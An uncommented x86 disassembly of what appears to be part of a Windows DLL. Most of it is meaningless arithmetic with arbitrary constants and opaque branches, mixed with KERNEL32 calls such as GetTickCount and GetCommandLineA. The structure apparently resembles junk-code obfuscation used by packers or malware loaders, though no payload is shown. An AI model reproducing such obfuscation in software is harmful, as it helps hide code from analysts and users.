mov eax, dword [ebp - 0x50]
push eax
mov ecx, dword [ebp - 0x54]
push ecx
call fcn.10073ef0
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov edx, dword [0x100a2100]
sub edx, 0x61e4
mov byte [0x100a203b], dl
jmp 0x1004b23e
xor eax, eax
mov ecx, dword [ebp - 0x5c]
sub ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x58]
sbb edx, eax
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x18]
sub eax, dword [0x100a2128]
mov dword [ebp - 0x18], eax
movzx ecx, word [0x100a211c]
xor ecx, 0x5e408df4
xor edx, edx
sub ecx, dword [ebp - 0x5c]
sbb edx, dword [ebp - 0x58]
mov dword [ebp - 0x16d4], ecx
mov dword [ebp - 0x16d0], edx
mov eax, dword [ebp - 0x16d4]
or eax, dword [ebp - 0x16d0]
jne 0x1004b1ea
mov dword [ebp - 0x3b8], 1
jmp 0x1004b1f4
mov dword [ebp - 0x3b8], 0
mov ecx, dword [ebp - 0x3b8]
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x5c]
or edx, dword [ebp - 0x58]
je 0x1004b219
mov eax, dword [0x100a2120]
cdq
mov dword [ebp - 0xfa4], eax
mov dword [ebp - 0xfa0], edx
jmp 0x1004b230
mov eax, dword [0x100a20e8]
mov ecx, dword [0x100a20ec]
mov dword [ebp - 0xfa4], eax
mov dword [ebp - 0xfa0], ecx
mov dx, word [ebp - 0xfa4]
mov word [0x100a211c], dx
mov eax, dword [ebp - 0x88]
sub eax, 0xeb
mov dword [ebp - 0x88], eax
movzx ecx, word [ebp - 0x10]
xor ecx, 0xee
mov dword [ebp - 0x20], ecx
mov ecx, dword [ebp - 0x1c]
add ecx, 0x6da84026
movzx eax, byte [0x100a207b]
cdq
or eax, ecx
mov byte [0x100a207b], al
movzx edx, byte [str.HeapSize]
add edx, 0x55c5e399
mov word [0x100a20f0], dx
mov eax, dword [ebp - 0x3c]
sub eax, 0xf2
cdq
mov dword [0x100a20e8], eax
mov dword [0x100a20ec], edx
mov eax, dword [ebp - 0x88]
add eax, 1
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x18]
cdq
mov dword [ebp - 0x16dc], eax
mov dword [ebp - 0x16d8], edx
mov ecx, dword [ebp - 0x16d8]
cmp ecx, dword [ebp - 0x58]
jl 0x1004b6b4
jg 0x1004b2db
mov edx, dword [ebp - 0x16dc]
cmp edx, dword [ebp - 0x5c]
jb 0x1004b6b4
mov eax, dword [0x100a2114]
cmp dword [ebp - 0x3c], eax
jg 0x1004b2f1
mov dword [ebp - 0x3bc], 1
jmp 0x1004b2fb
mov dword [ebp - 0x3bc], 0
cmp dword [ebp - 0x3c], 0x59
jg 0x1004b30d
mov dword [ebp - 0x3c0], 1
jmp 0x1004b317
mov dword [ebp - 0x3c0], 0
mov ecx, dword [ebp - 0x3bc]
cmp ecx, dword [ebp - 0x3c0]
jg 0x1004b644
mov edx, dword [0x100a20d8]
xor eax, eax
mov ecx, dword [ebp - 0x44]
mov esi, dword [ebp - 0x40]
mov dword [ebp - 0x16e4], edx
mov dword [ebp - 0x16e0], eax
mov dword [ebp - 0x16ec], ecx
mov dword [ebp - 0x16e8], esi
mov edx, dword [ebp - 0x16e0]
cmp edx, dword [ebp - 0x16e8]
jb 0x1004b3e1
ja 0x1004b371
mov eax, dword [ebp - 0x16e4]
cmp eax, dword [ebp - 0x16ec]
jbe 0x1004b3e1
mov eax, dword [ebp - 0x3c]
cdq
add eax, 0x47605eab
mov dword [ebp - 0x3c], eax
movsx eax, byte [0x100a203b]
cdq
mov ecx, 8
shl ecx, 1
mov dword [ecx + 0x1016eb08], eax
mov dword [ecx + 0x1016eb0c], edx
movsx edx, byte [str.y4The_server_is_requ]
imul edx, dword [0x100a20e4]
mov byte [str.y4The_server_is_requ], dl
movzx eax, word [0x100a2124]
mov ecx, 4
imul edx, ecx, 0xc1
mov dword [edx + 0x102e3780], eax
mov byte [str.y4The_server_is_requ], 0xb5
mov ecx, dword [ebp - 0x5c]
sub ecx, dword [ebp - 0x54]
movzx eax, word [ebp - 0xc]
cdq
add ecx, eax
mov word [ebp - 0xc], cx
jmp 0x1004b642
mov edx, 0xb8
test edx, edx
je 0x1004b499
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov edx, dword [0x100a210c]
add eax, dword [0x100a2108]
adc ecx, edx
mov edx, dword [ebp - 0x1c]
xor esi, esi
push ecx
push eax
push esi
push edx
call fcn.10073ef0
mov dword [ebp - 0x1c], eax
mov byte [ebp - 1], 0x84
imul eax, dword [0x100a20e4], 0xaf54598c
mov word [0x100a2118], ax
movzx ecx, word [0x100a211c]
sub ecx, dword [0x100a20dc]
movzx edx, word [0x100a211c]
and edx, ecx
mov word [0x100a211c], dx
mov eax, dword [0x100a20e4]
xor ecx, ecx
mov edx, dword [0x100a210c]
add eax, dword [0x100a2108]
adc ecx, edx
mov dword [ebp - 0x16f4], eax
mov dword [ebp - 0x16f0], ecx
mov eax, dword [ebp - 0x16f4]
or eax, dword [ebp - 0x16f0]
jne 0x1004b47e
mov dword [ebp - 0x3c4], 1
jmp 0x1004b488
mov dword [ebp - 0x3c4], 0
mov ecx, dword [ebp - 0x3c4]
sub ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x38], ecx
jmp 0x1004b642
movzx edx, byte [ebp - 3]
test edx, edx
je 0x1004b5c4
xor eax, eax
mov dword [0x100a20f8], 0x7c
mov dword [0x100a20fc], eax
movzx ecx, byte [ebp - 2]
test ecx, ecx
jne 0x1004b4d2
xor edx, edx
mov dword [ebp - 0xfac], 1
mov dword [ebp - 0xfa8], edx
jmp 0x1004b4dd
xorps xmm0, xmm0
movlpd qword [ebp - 0xfac], xmm0
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0xfac]
mov ecx, dword [ebp - 0x50]
adc ecx, dword [ebp - 0xfa8]
mov dword [ebp - 0x16fc], eax
mov dword [ebp - 0x16f8], ecx
mov edx, dword [ebp - 0x16fc]
or edx, dword [ebp - 0x16f8]
jne 0x1004b515
mov dword [ebp - 0x3cc], 1
jmp 0x1004b51f
mov dword [ebp - 0x3cc], 0
mov eax, dword [0x100a2114]
cdq
mov ecx, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x48]
not ecx
not esi
add eax, ecx
adc edx, esi
mov dword [ebp - 0x1704], eax
mov dword [ebp - 0x1700], edx
mov edx, dword [ebp - 0x1704]
or edx, dword [ebp - 0x1700]
jne 0x1004b559
mov dword [ebp - 0x3c8], 1
jmp 0x1004b563
mov dword [ebp - 0x3c8], 0
movsx eax, byte [0x100a2027]
and eax, dword [ebp - 0x28]
and eax, dword [ebp - 0x3c8]
mov ecx, dword [ebp - 0x3cc]
lea edx, [ecx + eax + 0x4484125b]
mov dword [ebp - 0x30], edx
mov eax, dword [0x100a20dc]
add eax, 0xa6503a02
mov ecx, dword [ebp - 0x30]
xor ecx, eax
mov dword [ebp - 0x30], ecx
movsx eax, word [0x100a20f0]
sub eax, 0xd6
cdq
mov dword [0x100a2148], eax
mov dword [0x100a214c], edx
mov edx, 2
imul eax, edx, 0x2c1f
movzx ecx, word [eax + 0x102b7710]
mov dword [ebp - 0x3c], ecx
jmp 0x1004b642
cmp dword [ebp - 0x20], 0
je 0x1004b642
mov edx, 8
imul eax, edx, 0xb6
mov ecx, dword [0x100a2130]
mov edx, dword [0x100a2134]
sub ecx, dword [eax + 0x102df518]
sbb edx, dword [eax + 0x102df51c]
mov dword [0x100a2130], ecx
mov dword [0x100a2134], edx
mov eax, dword [ebp - 0x38]
add eax, 0x5e3e6c70
xor ecx, ecx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x18]
cdq
add eax, 0x758438f2
mov word [ebp - 0x14], ax
movsx eax, word [0x100a20c8]
cdq
add eax, dword [0x100a20d0]
adc edx, dword [0x100a20d4]
mov dword [0x100a20d0], eax
mov dword [0x100a20d4], edx
mov edx, dword [ebp - 0x18]
imul edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], edx
jmp 0x1004b6af
mov eax, dword [0x100a2120]
mov word [0x100a20f0], ax
movzx cx, byte [ebp - 1]
mov word [0x100a20c8], cx
mov dword [ebp - 0x3c], 1
cmp dword [ebp - 0x34], 0
je 0x1004b675
mov dx, word [ebp - 0xc]
mov word [ebp - 0xb8], dx
jmp 0x1004b680
mov ax, word [ebp - 0x10]
mov word [ebp - 0xb8], ax
movzx eax, word [ebp - 0xb8]
cdq
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
mov ecx, dword [0x100a20d0]
sub ecx, 0x9d
mov edx, dword [0x100a20d4]
sbb edx, 0
mov dword [0x100a20d0], ecx
mov dword [0x100a20d4], edx
jmp 0x1004b75c
movzx eax, word [0x100a2138]
test eax, eax
jne 0x1004b6cb
mov dword [ebp - 0x3d0], 1
jmp 0x1004b6d5
mov dword [ebp - 0x3d0], 0
movzx ecx, word [ebp - 0xc]
cmp ecx, dword [ebp - 0x3d0]
jne 0x1004b6ed
mov dword [ebp - 0x3d4], 1
jmp 0x1004b6f7
mov dword [ebp - 0x3d4], 0
mov edx, dword [ebp - 0x3d4]
not edx
test edx, edx
je 0x1004b75c
mov al, byte [0x100a2c3c]
mov byte [ebp - 2], al
movzx ecx, byte [ebp - 3]
add ecx, dword [0x100a2114]
movzx edx, byte [ebp - 3]
and edx, ecx
mov byte [ebp - 3], dl
movzx eax, word [ebp - 8]
movsx ecx, byte [0x100a2027]
add eax, ecx
mov word [ebp - 8], ax
mov edx, dword [ebp - 0x64]
sub edx, 1
mov eax, dword [ebp - 0x60]
sbb eax, 0
mov dword [ebp - 0x64], edx
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x48]
sub ecx, 0xf9a8
sbb edx, 0
mov dword [0x100a2150], ecx
mov dword [0x100a2154], edx
mov eax, dword [ebp - 0x88]
sub eax, 5
mov dword [ebp - 0x88], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor ecx, ecx
mov dword [0x100a20d0], eax
mov dword [0x100a20d4], ecx
mov edx, dword [ebp - 0xe4]
mov ax, word [ebp - 0x88]
mov word [ebp + edx*2 - 0x10c], ax
jmp 0x1004ad2f
mov ecx, dword [ebp - 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov dword [0x100a2114], eax
cmp dword [0x100a2114], 0
je 0x1004b7be
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [ebp - 0x28], eax
jmp 0x1004b86f
movzx edx, byte [str.HeapSize]
test edx, edx
je 0x1004b86f
movzx eax, word [0x100a2138]
add eax, 0xe3
cdq
mov dword [0x100a2108], eax
mov dword [0x100a210c], edx
mov eax, dword [0x100a2128]
cdq
add eax, dword [ebp - 0x54]
adc edx, dword [ebp - 0x50]
mov dword [ebp - 0x170c], eax
mov dword [ebp - 0x1708], edx
mov eax, dword [ebp - 0x170c]
or eax, dword [ebp - 0x1708]
jne 0x1004b817
mov dword [ebp - 0x3d8], 1
jmp 0x1004b821
mov dword [ebp - 0x3d8], 0
mov ecx, dword [0x100a20f4]
xor ecx, 0x18
sub ecx, dword [ebp - 0x3d8]
mov word [0x100a2110], cx
mov eax, dword [0x100a2150]
mov edx, dword [0x100a2154]
mov cl, 1
call fcn.10073f50
mov dword [0x100a2108], eax
mov dword [0x100a210c], edx
mov eax, dword [0x100a2104]
sub eax, 0xf1
cdq
mov ecx, dword [ebp - 0x44]
mov esi, dword [ebp - 0x40]
sub ecx, eax
sbb esi, edx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], esi
mov edx, 2
shl edx, 0
xor eax, eax
mov word [ebp + edx - 0x10c], ax
movsx eax, word [0x100a2110]
cdq
mov ecx, dword [ebp - 0x44]
mov esi, dword [ebp - 0x40]
mov dword [ebp - 0x1714], eax
mov dword [ebp - 0x1710], edx
mov dword [ebp - 0x171c], ecx
mov dword [ebp - 0x1718], esi
mov edx, dword [ebp - 0x1710]
cmp edx, dword [ebp - 0x1718]
ja 0x1004b8d1
jb 0x1004b8c5
mov eax, dword [ebp - 0x1714]
cmp eax, dword [ebp - 0x171c]
ja 0x1004b8d1
mov dword [ebp - 0x3dc], 1
jmp 0x1004b8db
mov dword [ebp - 0x3dc], 0
movsx ecx, word [0x100a2110]
cmp ecx, 0x5c
jg 0x1004b8f3
mov dword [ebp - 0x3e0], 1
jmp 0x1004b8fd
mov dword [ebp - 0x3e0], 0
mov edx, dword [ebp - 0x3dc]
cmp edx, dword [ebp - 0x3e0]
je 0x1004bc54
movzx eax, word [ebp - 0x10]
cmp eax, dword [0x100a20dc]
jne 0x1004b927
mov dword [ebp - 0x3e4], 1
jmp 0x1004b931
mov dword [ebp - 0x3e4], 0
movzx ecx, word [ebp - 0x10]
cmp ecx, 0x41
jne 0x1004b946
mov dword [ebp - 0x3e8], 1
jmp 0x1004b950
mov dword [ebp - 0x3e8], 0
mov edx, dword [ebp - 0x3e4]
cmp edx, dword [ebp - 0x3e8]
jle 0x1004bc2a
cmp dword [ebp - 0x28], 0
jne 0x1004b975
mov eax, dword [ebp - 0x34]
not eax
test eax, eax
je 0x1004ba6d
movsx ecx, byte [0x100a203b]
test ecx, ecx
je 0x1004ba6d
mov dword [ebp - 0x180], 0x35c
jmp 0x1004b99f
mov edx, dword [ebp - 0x180]
sub edx, 1
mov dword [ebp - 0x180], edx
cmp dword [ebp - 0x180], 0
jle 0x1004ba68
mov eax, dword [0x100a2150]
mov ecx, dword [0x100a2154]
mov dword [ebp - 0x1724], eax
mov dword [ebp - 0x1720], ecx
mov edx, dword [ebp - 0x1724]
or edx, dword [ebp - 0x1720]
je 0x1004ba5a
mov eax, dword [0x100a2150]
mov ecx, dword [0x100a2154]
mov dword [ebp - 0x29f4], ecx
mov dword [ebp - 0x30], eax
movzx edx, word [0x100a2118]
mov eax, dword [ebp - 0x38]
sub eax, edx
mov dword [ebp - 0x38], eax
mov ecx, 1
imul edx, ecx, 0x42af
movzx eax, byte [edx + 0x102c1f30]
mov ecx, dword [0x100a2120]
sub ecx, eax
mov dword [0x100a2120], ecx
movzx edx, word [ebp - 0xc]
test edx, edx
jne 0x1004ba2c
mov dword [ebp - 0x3ec], 1
jmp 0x1004ba36
mov dword [ebp - 0x3ec], 0
mov eax, 0x87b1c674
sub eax, dword [ebp - 0x3ec]
movzx ecx, byte [ebp - 3]
sub eax, ecx
movzx edx, word [0x100a2118]
not edx
lea eax, [eax + edx + 0x65efe69a]
mov byte [ebp - 2], al
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
jmp 0x1004b990
jmp 0x1004bc28
cmp dword [ebp - 0x18], 0
je 0x1004bb7b
mov eax, dword [0x100a2120]
cdq
sub eax, 0x8331e433
mov dword [ebp - 0x38], eax
movzx edx, word [ebp - 0xc]
movzx eax, byte [ebp - 2]
add edx, eax
movzx ecx, word [ebp - 0xc]
add ecx, edx
mov word [ebp - 0xc], cx
movzx eax, byte [0x100a207a]
cdq
mov edx, dword [0x100a2148]
mov ecx, dword [0x100a214c]
mov dword [ebp - 0x29f8], ecx
and eax, edx
mov dl, byte [0x100a207a]
mov ecx, eax
shl dl, cl
mov byte [0x100a207a], dl
mov eax, dword [0x100a2150]
mov ecx, dword [0x100a2154]
mov dword [ebp - 0x29fc], ecx
mov edx, dword [0x100a2130]
mov ecx, dword [0x100a2134]
mov dword [ebp - 0x2a00], ecx
add eax, edx
mov word [ebp - 0x10], ax
mov dx, word [0x100a2c3c]
mov word [0x100a2118], dx
movsx eax, word [0x100a2110]
test eax, eax
jne 0x1004bb13
mov dword [ebp - 0x3f0], 1
jmp 0x1004bb1d
mov dword [ebp - 0x3f0], 0
movzx ecx, byte [0x100a207b]
test ecx, ecx
jne 0x1004bb34
mov dword [ebp - 0x3f4], 1
jmp 0x1004bb3e
mov dword [ebp - 0x3f4], 0
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x3f0]
mov eax, dword [0x100a20e4]
not eax
or eax, dword [ebp - 0x3f4]
not eax
add edx, eax
mov ecx, dword [ebp - 0x18]
not ecx
imul eax, dword [ebp - 0x34], 0xf9a7
sub ecx, eax
sub edx, ecx
xor ecx, ecx
mov dword [0x100a2108], edx
mov dword [0x100a210c], ecx
jmp 0x1004bc28
mov edx, dword [0x100a20d0]
or edx, dword [0x100a20d4]
je 0x1004bbc9
movzx eax, word [0x100a20e0]
cdq
sub eax, 0x21c7d5b7
mov byte [ebp - 2], al
movzx eax, word [ebp - 0xc]
imul ecx, eax, 0xe6ce
mov word [ebp - 0xc], cx
movzx eax, word [0x100a211c]
cdq
mov ecx, eax
add ecx, 0x31dacbe8
movsx eax, word [0x100a20f0]
cdq
sub eax, ecx
mov word [0x100a20f0], ax
jmp 0x1004bc28
cmp dword [ebp - 0x28], 0
je 0x1004bc28
mov edx, dword [ebp - 0x38]
add edx, 3
mov word [0x100a211c], dx
mov eax, dword [0x100a20d8]
xor ecx, ecx
push 0xaa3a6
push 0xa498550e
push ecx
push eax
call fcn.10073ef0
mov ecx, eax
movzx eax, word [0x100a2124]
cdq
add eax, ecx
mov word [0x100a2124], ax
imul edx, dword [ebp - 0x1c], 0x8e
movzx eax, word [ebp - 0x10]
imul eax, edx
mov word [ebp - 0x10], ax
movzx ecx, word [0x100a2118]
add ecx, 0x1e9a
mov byte [ebp - 1], cl
jmp 0x1004bc4f
movzx edx, word [0x100a2138]
sub edx, 0x1ee35e55
mov byte [ebp - 1], dl
mov dword [0x100a20f4], 0xdbe7bd9e
mov eax, dword [ebp - 0x20]
sar eax, 7
mov byte [0x100a203b], al
jmp 0x1004bd55
movzx ecx, byte [ebp - 1]
test ecx, ecx
je 0x1004bc6c
mov dx, word [0x100a2124]
mov word [ebp - 0xba], dx
jmp 0x1004bc79
mov ax, word [0x100a2138]
mov word [ebp - 0xba], ax
movzx ecx, word [ebp - 0xba]
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
mov cl, 7
call fcn.10073f30
mov dword [0x100a2120], eax
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x172c], edx
mov dword [ebp - 0x1728], eax
mov ecx, dword [ebp - 0x172c]
or ecx, dword [ebp - 0x1728]
jne 0x1004bcc1
mov dword [ebp - 0x3fc], 1
jmp 0x1004bccb
mov dword [ebp - 0x3fc], 0
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x1734], edx
mov dword [ebp - 0x1730], eax
mov ecx, dword [ebp - 0x1734]
or ecx, dword [ebp - 0x1730]
jne 0x1004bcf7
mov dword [ebp - 0x3f8], 1
jmp 0x1004bd01
mov dword [ebp - 0x3f8], 0
mov edx, dword [ebp - 0x3f8]
add edx, 0xe460
imul edx, dword [ebp - 0x3fc]
test edx, edx
jne 0x1004bd24
mov dword [ebp - 0x400], 1
jmp 0x1004bd2e
mov dword [ebp - 0x400], 0
mov eax, dword [ebp - 0x400]
mov dword [ebp - 0x34], eax
movsx ecx, byte [0x100a203b]
movzx edx, byte [0x100a207a]
sub ecx, edx
movsx eax, byte [0x100a203b]
sub eax, ecx
mov byte [0x100a203b], al
mov ecx, 0x64
mov word [ebp - 0x110], cx
xor edx, edx
mov word [ebp - 0x10e], dx
mov byte [0x100a207b], 0x94
movzx eax, byte [0x100a207a]
mov ecx, dword [0x100a2100]
sub ecx, eax
mov dword [0x100a2100], ecx
mov edx, dword [0x100a20dc]
mov ecx, dword [0x100a2130]
mov eax, dword [0x100a2134]
mov dword [ebp - 0x2a04], eax
add ecx, edx
movzx eax, word [0x100a2138]
cdq
mov edx, dword [ebp - 0x64]
sub edx, eax
sub ecx, edx
mov dword [0x100a20e4], ecx
movzx eax, byte [str.HeapSize]
cdq
push 0xaad6f
push 0xf5eba533
push edx
push eax
call fcn.10073ef0
mov dword [0x100a20d0], eax
mov dword [0x100a20d4], edx
movsx eax, word [0x100a20c8]
add eax, dword [ebp - 0x24]
mov ecx, dword [0x100a2128]
lea edx, [ecx + eax + 0x2f9b]
xor eax, eax
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], eax
movzx eax, byte [0x100a207b]
cdq
mov ecx, eax
mov esi, edx
mov eax, dword [ebp - 0x18]
cdq
add eax, 0x9764794
adc edx, 0xee87f
mov dword [ebp - 0x173c], ecx
mov dword [ebp - 0x1738], esi
mov dword [ebp - 0x1744], eax
mov dword [ebp - 0x1740], edx
mov edx, dword [ebp - 0x173c]
cmp edx, dword [ebp - 0x1744]
jne 0x1004bf17
mov eax, dword [ebp - 0x1738]
cmp eax, dword [ebp - 0x1740]
jne 0x1004bf17
mov ecx, dword [ebp - 0x2c]
sub ecx, 0x68ddf0c8
cmp dword [0x100a2114], ecx
jne 0x1004bf17
movsx eax, word [0x100a20c8]
cdq
sub eax, 0xdadd6b62
mov word [ebp - 0xc], ax
movzx eax, word [ebp - 8]
cdq
mov ecx, dword [ebp - 0x5c]
or ecx, 0xb76d0c68
mov esi, dword [ebp - 0x58]
push esi
push ecx
push edx
push eax
call fcn.10073ef0
mov dword [ebp - 0x24], eax
mov edx, dword [0x100a2148]
mov eax, dword [0x100a214c]
mov dword [ebp - 0x174c], edx
mov dword [ebp - 0x1748], eax
mov ecx, dword [ebp - 0x174c]
or ecx, dword [ebp - 0x1748]
je 0x1004bec2
movzx edx, byte [ebp - 1]
mov dword [ebp - 0x404], edx
jmp 0x1004becd
mov eax, dword [0x100a20e4]
mov dword [ebp - 0x404], eax
mov ecx, dword [ebp - 0x404]
mov dword [0x100a2120], ecx
jmp 0x1004bf17
mov byte [0x100a207b], 0x94
movsx edx, word [0x100a2110]
and edx, dword [ebp - 0x1c]
mov word [0x100a2118], dx
mov eax, dword [0x100a2130]
mov edx, dword [0x100a2134]
mov cl, 8
call fcn.10073f30
mov dword [0x100a20dc], eax
movzx eax, word [0x100a2118]
test eax, eax
jne 0x1004bf5d
mov dword [ebp - 0x408], 1
jmp 0x1004bf67
mov dword [ebp - 0x408], 0
movzx ecx, word [0x100a211c]
test ecx, ecx
jne 0x1004bf7e
mov dword [ebp - 0x40c], 1
jmp 0x1004bf88
mov dword [ebp - 0x40c], 0
mov edx, dword [0x100a2114]
and edx, dword [ebp - 0x408]
mov eax, dword [ebp - 0x34]
not eax
movzx ecx, byte [ebp - 1]
not ecx
sub eax, ecx
and edx, eax
mov eax, dword [ebp - 0x40c]
add eax, 0x1053602a
not eax
sub edx, eax
mov dword [ebp - 0x30], edx
movzx ecx, byte [str.HeapSize]
add ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x38]
not edx
sub ecx, edx
jne 0x1004bfdc
xor eax, eax
mov dword [ebp - 0x1754], 1
mov dword [ebp - 0x1750], eax
jmp 0x1004bfe7
xorps xmm0, xmm0
movlpd qword [ebp - 0x1754], xmm0
movsx eax, word [0x100a2110]
cdq
mov ecx, dword [0x100a20f8]
and ecx, 0xbcf0ecc
add eax, ecx
sub eax, dword [ebp - 0x1754]
mov dword [ebp - 0x38], eax
mov edx, 2
imul eax, edx, 0x47e7
movsx ecx, word [eax + 0x10138540]
movzx edx, byte [ebp - 2]
add edx, ecx
mov byte [ebp - 2], dl
movzx eax, word [ebp - 0xc]
cdq
push 0xca758
push 0x619cddad
push edx
push eax
call fcn.10073ef0
mov ecx, eax
movzx eax, word [ebp - 8]
cdq
sub eax, ecx
mov word [ebp - 8], ax
mov edx, dword [ebp - 0x1c]
not edx
test edx, edx
je 0x1004c0d4
mov eax, dword [0x100a20d0]
or eax, dword [0x100a20d4]
je 0x1004c069
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x410], ecx
jmp 0x1004c076
movzx edx, byte [0x100a207b]
mov dword [ebp - 0x410], edx
mov al, byte [ebp - 0x410]
mov byte [ebp - 3], al
mov ecx, dword [0x100a2c3c]
xor edx, edx
mov dword [0x100a20e8], ecx
mov dword [0x100a20ec], edx
mov ax, word [0x100a2110]
mov word [0x100a20f0], ax
mov ecx, dword [0x100a2114]
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x20]
cdq
and eax, dword [0x100a2148]
and edx, dword [0x100a214c]
mov ecx, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x48]
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov dword [0x100a2150], eax
mov dword [0x100a2154], edx
jmp 0x1004c13c
mov edx, 2
imul eax, edx, 0x410f
movzx ecx, word [eax + 0x102b7710]
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x30], 0
je 0x1004c0fa
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x414], edx
jmp 0x1004c104
movzx eax, word [ebp - 8]
mov dword [ebp - 0x414], eax
mov cl, byte [ebp - 0x414]
mov byte [0x100a207b], cl
movsx eax, word [ebp - 0x14]
cdq
push edx
push eax
mov edx, dword [ebp - 0x58]
push edx
mov eax, dword [ebp - 0x5c]
push eax
call fcn.10073ef0
add eax, dword [ebp - 0x5c]
adc edx, dword [ebp - 0x58]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], edx
mov ecx, dword [ebp - 0x5c]
add ecx, 0xfd380aa0
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x84], 0
jmp 0x1004c161
mov edx, dword [ebp - 0x9c]
add edx, 1
mov dword [ebp - 0x9c], edx
cmp dword [ebp - 0x9c], 1
jae 0x1004d5fe
mov eax, dword [ebp - 0x38]
shl eax, 1
mov word [ebp - 0x14], ax
movzx ecx, word [ebp - 0x10]
imul edx, ecx, 0xd0
mov word [0x100a2118], dx
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x2a08], ecx
add eax, 0xcb1ad753
mov word [ebp - 0x10], ax
mov eax, dword [ebp - 0x3c]
not eax
cdq
mov ecx, dword [0x100a2140]
sub ecx, eax
mov eax, dword [0x100a2144]
sbb eax, edx
mov dword [ebp - 0x175c], ecx
mov dword [ebp - 0x1758], eax
mov ecx, dword [ebp - 0x175c]
or ecx, dword [ebp - 0x1758]
jne 0x1004c1d8
mov dword [ebp - 0x418], 1
jmp 0x1004c1e2
mov dword [ebp - 0x418], 0
movzx edx, byte [ebp - 3]
sub edx, dword [ebp - 0x20]
xor edx, dword [ebp - 0x418]
jne 0x1004c205
xor eax, eax
mov dword [ebp - 0xfb4], 1
mov dword [ebp - 0xfb0], eax
jmp 0x1004c210
xorps xmm0, xmm0
movlpd qword [ebp - 0xfb4], xmm0
mov ecx, dword [ebp - 0xfb4]
mov edx, dword [ebp - 0xfb0]
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x34]
imul eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x2c], 0
je 0x1004c240
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x41c], ecx
jmp 0x1004c249
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x41c], edx
mov ax, word [ebp - 0x41c]
mov word [0x100a211c], ax
mov ecx, 0x79
mov word [0x100a2118], cx
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
mov dword [ebp - 0x30], eax
movsx eax, byte [str.y4The_server_is_requ]
cdq
mov ecx, eax
mov esi, edx
mov eax, dword [ebp - 0x18]
cdq
add eax, 0xd9bd4271
adc edx, 0x36f14
mov dword [ebp - 0x1764], ecx
mov dword [ebp - 0x1760], esi
mov dword [ebp - 0x176c], eax
mov dword [ebp - 0x1768], edx
mov edx, dword [ebp - 0x1764]
cmp edx, dword [ebp - 0x176c]
jne 0x1004c342
mov eax, dword [ebp - 0x1760]
cmp eax, dword [ebp - 0x1768]
jne 0x1004c342
movsx ecx, byte [str.y4The_server_is_requ]
add ecx, dword [ebp - 0x38]
cmp ecx, 1
jne 0x1004c342
movsx edx, byte [str.y4The_server_is_requ]
add edx, dword [0x100a2128]
mov eax, dword [0x100a2128]
sub eax, edx
mov dword [0x100a2128], eax
mov dword [ebp - 0x3c], 0xac6d
mov ecx, dword [ebp - 0x18]
xor ecx, 0x6105
mov byte [ebp - 1], cl
movzx edx, word [0x100a20e0]
mov eax, dword [ebp - 0x3c]
add eax, edx
mov word [ebp - 0x14], ax
jmp 0x1004c256
mov byte [0x100a207b], 0x38
xor edx, edx
mov dword [ebp - 0x4c], 1
mov dword [ebp - 0x48], edx
movzx eax, byte [0x100a207b]
imul ecx, eax, 0x72
mov byte [0x100a203b], cl
movzx edx, byte [str.HeapSize]
add edx, 0xfe
mov word [ebp - 0xc], dx
movzx eax, byte [ebp - 3]
movzx ecx, word [ebp - 8]
add eax, ecx
mov byte [ebp - 3], al
mov dword [0x100a20f4], 0xc9
movzx edx, byte [ebp - 2]
test edx, edx
jne 0x1004c3a1
mov dword [ebp - 0x420], 1
jmp 0x1004c3ab
mov dword [ebp - 0x420], 0
movzx eax, word [ebp - 0xc]
movzx ecx, word [ebp - 0x10]
mov edx, dword [ebp - 0x20]
add edx, ecx
not edx
add eax, edx
cdq
mov ecx, dword [ebp - 0x420]
add ecx, 0x51e74008
or ecx, dword [ebp - 0x5c]
sub eax, ecx
mov byte [ebp - 3], al
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xeec], edx
mov dword [ebp - 0xee8], eax
mov ecx, dword [ebp - 0xeec]
or ecx, dword [ebp - 0xee8]
je 0x1004c40c
